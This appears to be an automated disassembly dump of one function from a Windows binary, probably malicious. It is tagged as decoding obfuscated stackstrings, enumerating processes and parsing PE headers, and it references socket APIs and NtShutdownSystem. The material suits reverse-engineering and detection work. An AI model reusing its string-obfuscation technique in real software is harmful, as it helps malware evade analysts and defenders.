Function at 0x14010c1e0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov rsi, rdx
mov qword [rbp + 0x120], rdx
mov r13, qword [0x140220758]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14010b480
mov dword [rbp], 0x7f60502
mov dword [rbp + 4], 0x2f272f1f
mov dword [rbp + 8], 0x22232f36
mov word [rbp + 0xc], 0xd623
mov byte [rbp + 0xe], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0x1f], eax
movabs r14, 0xd9e66b2dc527ac9b
movabs r15, 0xdfe6cac12c4128b7
movabs r12, 0xe8828522f7ec05bd
movzx r11d, byte [rbp + 0x190]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14010cc0d
movzx r10d, byte [rbp + rbx]
movzx edi, r10b
cmp r8, rbx
ja 0x14010cc04
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010c2e2
lea rcx, [rbx + r14]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x3d
jmp 0x14010c31b
je 0x14010cb96
inc rax
cmp r8, rax
je 0x14010cb33
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010cad8
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010caaf
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010ca65
movzx edi, r10b
nop
cmp r9, rbx
ja 0x14010cbfb
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14010c350
lea rcx, [rbx + r15]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
dec r11b
add r11b, cl
jmp 0x14010c391
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14010ca45
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010ca1c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010c9f9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010c9ac
lea rax, [rcx + 1]
cmp r8, rax
je 0x14010c97b
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14010c6a9
nop
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14010c68f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010c667
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010c647
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010c628
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010c600
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010c3a0
lea r8, [r9 + 0xa]
lea r9, [r8 + 5]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010cbe1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14010cbc7
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010c485
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010c560
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010c53e
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14010c516
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14010c4f7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010c4dd
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010c4be
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14010c4a4
lea r8, [r9 + 0x28]
lea r9, [r8 + 9]
jmp 0x14010c3a0
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x2b
add r11b, dl
jmp 0x14010c2b6
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x14010ca8a
lea edx, [rbx + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010cafd
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x14010cb17
lea edx, [rbx + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010cb58
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
lea ecx, [rbx + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 7
mov byte [rbp + rbx], r11b
inc rbx
jmp 0x14010c2a2
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x67
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x14010c968
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14010c7a4
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x77
cmp r8, 0x41
jae 0x14010c949
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14010c873
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 3
jb 0x14010c553
lea ecx, [rbx - 0x3e]
movzx eax, cl
and al, r10b
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x14010ca8a
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010cb1a
lea ecx, [rbx + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2a
dec rbx
inc rbx
jmp 0x14010c2a2
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x14010c2a2
lea ecx, [rbx - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
jmp 0x14010ca8a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14010c6ce
lea rcx, [rbx + r14]
movzx eax, r10b
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x3d
jmp 0x14010c575
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010c6ff
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010c722
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x14010cb1a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010c74a
lea edx, [rbx + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010cb17
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010c778
lea edx, [rbx - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14010c575
lea edx, [rbx + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010ca8a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010c7c7
lea ecx, [rbx + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 3
jmp 0x14010ca8a
inc rax
cmp r8, rax
jne 0x14010c7f2
lea ecx, [rbx + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
inc r9
dec rbx
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010c81b
lea ecx, [rbx - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 9
dec rbx
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010c83e
lea ecx, [rbx + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x21
jmp 0x14010c9d1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010c5a5
lea ecx, [rbx - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010c8a4
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010c8cc
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010c9d1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010c8ef
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x14010cafd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010c91d
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14010c2a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010c5d6
lea edx, [rbx - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010ca8a
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx]
sub cl, al
add cl, 0x1c
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14010cafd
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0x42]
jmp 0x14010c9d1
movabs rax, 0x321a53f9090b4b9d
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0x4b
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
movabs rcx, 0xca80a741f46c9931
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x57
add r11b, cl
movzx r10d, dil
lea ecx, [rbx - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7f
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14010cb58
movabs rax, 0x16b3d0e66a1d3ffb
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
add r11b, 0x23
jmp 0x14010cb1a
movabs rax, 0xfb4d4dd3cb2f3459
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0x6f
dec rbx
inc rbx
jmp 0x14010c2a2
movabs rcx, 0x93b3a11cb69081ed
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x7b
jmp 0x14010ca83
movabs rcx, 0x2c19f465a1f1cf81
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
add r11b, 0x79
movzx r10d, dil
add r11b, cl
lea ecx, [rbx + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x75
add cl, r10b
mov byte [rbp + rbx], cl
inc r9
dec rbx
inc rbx
jmp 0x14010c2a2
movabs rax, 0xc48047ae8d531d15
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
add r11b, 0x6d
dec rbx
inc rbx
jmp 0x14010c2a2
movabs rcx, 0x10b371530303c3df
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x19
add r11b, cl
movzx r10d, dil
lea ecx, [rbx - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 5
add cl, r11b
add cl, r10b
mov byte [rbp + rbx], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010c2a2
movabs rcx, 0x418017e4d9c65f07
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x31
add r11b, cl
movzx r10d, dil
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
movabs rax, 0x8db341894f7705d1
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
add r11b, 0x49
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010c2a2
sub bl, 0x79
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x4f
jmp 0x14010c2a0
add bl, 0x51
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x37
jmp 0x14010c290
lea r12, [rbp + 0x167f824]
jmp 0x14010cc11
lea r12, [rbp + 0x8fa4bf]
jmp 0x14010cc11
lea r12, [rbp]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [r13 + 0x18], rax
cmp rax, 0xffffffffffffffff
jne 0x140111f8f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], rax
lea rcx, [rbp + 0x198]
call fcn.140049d50
nop
mov edx, 0x1e00
lea rcx, [rbp + 0x198]
call fcn.140115960
lea r9, [rbp + 0x198]
lea r8, str.NtShutdownSystem
lea rdx, [0x1401fc800]
lea rcx, [rbp + 0x130]
call fcn.140123060
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x138]
call fcn.1400fa260
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400444f0
nop
call fcn.14010a720
test al, al
jne 0x14010d925
mov dword [rbp + 0x28], 0x2d2b273d
mov dword [rbp + 0x2c], 0x23502a26
mov dword [rbp + 0x30], 0x3a384d3f
mov dword [rbp + 0x34], 0x3b483535
mov dword [rbp + 0x38], 0x382e3228
mov dword [rbp + 0x3c], 0x4d72732c
mov word [rbp + 0x40], 0x6b4c
mov byte [rbp + 0x42], 0x9c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x43], xmm0
mov qword [rbp + 0x53], rax
movabs rsi, 0x7275384d60176d49
movabs r14, 0x575fa8e8204647db
movzx r11d, byte [rbp + 0x190]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x14010d91c
movzx r10d, byte [rbp + rbx + 0x28]
mov rdx, r10
cmp r8, rbx
ja 0x14010d910
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010cdb0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
inc r11b
jmp 0x14010cdc3
je 0x14010d8a6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010d84e
cmp r9, rbx
ja 0x14010d904
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14010cdf0
lea edx, [rbx - 3]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x15
add r11b, dl
jmp 0x14010ce40
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010d808
inc rax
cmp r8, rax
je 0x14010d7e4
lea rax, [r9 + 2]
cmp r8, rax
je 0x14010d7c3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010d7a8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010d751
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010d728
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14010d397
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010d378
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14010d350
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14010d32b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14010d30c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14010d2ed
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010d2ce
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010d2b2
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010d296
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010d269
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14010ce50
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14010d8e9
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14010d8ce
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14010d033
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14010d015
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010cff7
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14010d21a
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14010d1cb
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14010d189
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010d166
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14010ce50
lea r8, [r9 + 0x2a]
lea r9, [r8 + 4]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010d13d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14010d122
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14010d107
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14010d0ec
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14010d0d1
lea rcx, [r9 + 0x10]
cmp r8, rcx
ja 0x14010d0b3
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010d092
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14010d06e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14010d050
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14010ce50
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x14010ce50
lea edx, [rbx - 0x5d]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x75
add r11b, dl
jmp 0x14010ce40
lea edx, [rbx + 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x77
add r11b, dl
jmp 0x14010cdc3
lea edx, [rbx + 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x79
add r11b, dl
jmp 0x14010cd82
lea edx, [rbx - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
movzx edi, bl
jmp 0x14010d821
lea ecx, [rbx + 0x56]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5a
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
lea ecx, [rbx - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
dec rbx
inc rbx
jmp 0x14010cd72
lea edx, [rbx + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5e
movzx edi, bl
jmp 0x14010d867
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x14010d88a
lea ecx, [rbx + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x62
jmp 0x14010d88d
lea edx, [rbx + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
jmp 0x14010d700
lea edx, [rbx - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
jmp 0x14010d767
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea ecx, [rbx - 0x15]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6d
mov byte [rbp + rbx + 0x28], r11b
inc rbx
jmp 0x14010cd72
lea edx, [rbx + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6f
add r11b, dl
cmp r9, 1
jb 0x14010d17c
movzx edi, bl
lea edx, [rdi + 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x34]
jmp 0x14010d824
lea edx, [rbx - 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x71
add r11b, dl
cmp r8, 0x80
jae 0x14010d6cd
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14010d5bc
lea edx, [rbx + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d19f
lea edx, [rbx + 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14010d6ec
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14010d4c1
lea edx, [rbx + 0x65]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3d
jmp 0x14010d1e1
lea edx, [rbx - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea edx, [rbx + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d767
lea edx, [rbx - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d700
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010d88d
lea edx, [rbx - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010d88a
movzx edi, bl
lea edx, [rdi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d867
lea edx, [rbx - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14010cd72
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
movzx edi, bl
lea edx, [rdi + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d821
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14010d3ba
lea edx, [rbx + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
inc r11b
jmp 0x14010d230
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010d3f0
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
inc rax
cmp r8, rax
jne 0x14010d417
lea edx, [rbx - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010d88d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010d43f
lea edx, [rbx + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010d88a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010d467
movzx edi, bl
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d867
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010d495
lea edx, [rbx + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d233
movzx edi, bl
lea edx, [rdi - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d821
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010d4e8
movzx edi, bl
lea edx, [rdi - 9]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3f
jmp 0x14010d821
inc rax
cmp r8, rax
jne 0x14010d514
lea ecx, [rbx - 0x77]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x41
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d53e
lea ecx, [rbx + 0x1b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x43
dec rbx
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010d562
lea ecx, [rbx - 0x2f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x49
jmp 0x14010d88d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010d586
lea edx, [rbx + 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4b
jmp 0x14010d700
